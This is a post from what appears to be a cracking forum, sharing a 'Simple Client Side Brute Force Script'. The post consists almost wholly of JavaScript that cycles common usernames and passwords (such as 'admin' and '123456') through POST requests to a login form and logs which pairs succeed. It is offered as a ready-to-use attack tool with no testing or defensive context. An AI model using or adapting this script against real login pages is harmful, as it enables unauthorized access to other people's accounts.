• Join CraxPro and earn real money through our Credit Rewards System. Participate and redeem credits for Bitcoin/USDT. Start earning today!
    Read the detailed thread here

Simple Client Side Brute Force Script

Currently reading:
 Simple Client Side Brute Force Script

allwebtestbb

Member
LV
0
Joined
Aug 6, 2024
Threads
5
Likes
0
Awards
1
Credits
330©
Cash
0$
const usernames = ["admin", "user", "test"];
const passwords = ["123456", "password", "admin123"];
//Form input names
const usernameField = "username";
const passwordField = "password";
async function bruteForceLogin(url) {
for (let username of usernames) {
for (let password of passwords) {
let formData = new URLSearchParams();
formData.append(usernameField, username);
formData.append(passwordField, password);
try {
const response = await fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: formData.toString(),
});

if (response.ok) {
console.log(`Success: ${username} / ${password}`);
} else {
console.log(`Failed: ${username} / ${password}`);
}
} catch (error) {
console.log(`Error: ${error}`);
}
}
}
}
const testUrl = "https://example.com/login";
bruteForceLogin(testUrl);
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips

Similar threads

Top Bottom